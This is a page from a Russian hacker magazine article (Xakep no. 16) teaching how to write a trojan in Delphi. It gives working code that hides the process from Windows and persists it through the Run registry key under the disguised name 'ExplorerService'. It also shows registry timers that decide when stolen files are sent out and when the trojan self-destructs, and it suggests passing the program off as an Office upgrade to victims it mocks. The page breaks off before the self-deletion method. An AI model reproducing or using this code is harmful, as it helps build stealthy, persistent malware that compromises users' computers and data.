Рождение дьявола

Xakep, номер #016, стр. 016-058-2


procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess';

procedure Hide; assembler;

asm

push 1

push 0

call RegisterServiceProcess;

end;

Вышел. Живой. Подал голос.

Представим себе, что троян уже на машине бедного несчастного (людям со слабой нервной системой дальше не читать) ;-) ламера. Первым делом он его запускает (а он, например, что-нибудь в ответ показывает или делает вид, что он - новый супер-пупер апгрейд к офису-2000) и... а дальше троян должен что-то предпринять, чтобы он запускался после каждой перезагрузки машины. Можно, конечно, добавить трояна в папку Автозагрузка, но это ж сразу в глаза бросится - и конечно, есть способ лучше! На наше счастье, программисты виндовзы спроектировали систему очень удобно с точки зрения троянописателей - в системном реестре существуют специальные разделы, посвященные спискам программ, которые должны запускать до старта основных модулей системы, после них и вместо них.

Воспользуемся объектом TRegistry для этих целей:

Reg:=TRegistry.Create;

with Reg do

begin

if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', True) then

begin

Str:=ReadString('ExplorerService');

if Str <> ParamStr(0) then WriteString('ExplorerService', ParamStr(0));

CloseKey;

OpenKey('SOFTWARE\mmuser', True);

try

if StrToDate(ReadString('DateResolve')) > Now then

begin

Send:=True;

WriteString('DateResolve', DateToStr(Now+30));

end

else

Send:=False;

if StrToDate(ReadString('DateExpiration')) <= Now then

Xapakipi:=True

else

Xapakipi:=False;

except

WriteString('DateResolve', DateToStr(Now));

WriteString('DateExpiration', DateToStr(Now+121));

end;

CloseKey;

end;

Из листинга видно, что для запуска себя после рестарта виндовза достаточно прописать путь к себе, любимому, в HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В него прописываем ключ с произвольным именем и содержанием = "путь_к_трояну". Попутно в первый раз дописываем свои параметры DateResolve, чтобы в следующий раз знать, когда нужно отсылать файлы.

Кроме DateResolve запишем и DateExpiration - дату, после которой нужно будет просто вырубиться, прибив свою тушку перед этим. Но как это сделать, если виндовз не дает доступа (удалять и перезаписывать) к файлу, из которого запущен? Можно сильно извращаться с разными параметрами или создавать BATники, но в данном случае гораздо проще сделать так:

Назад на стр. 016-058-1  Содержание  Вперед на стр. 016-058-3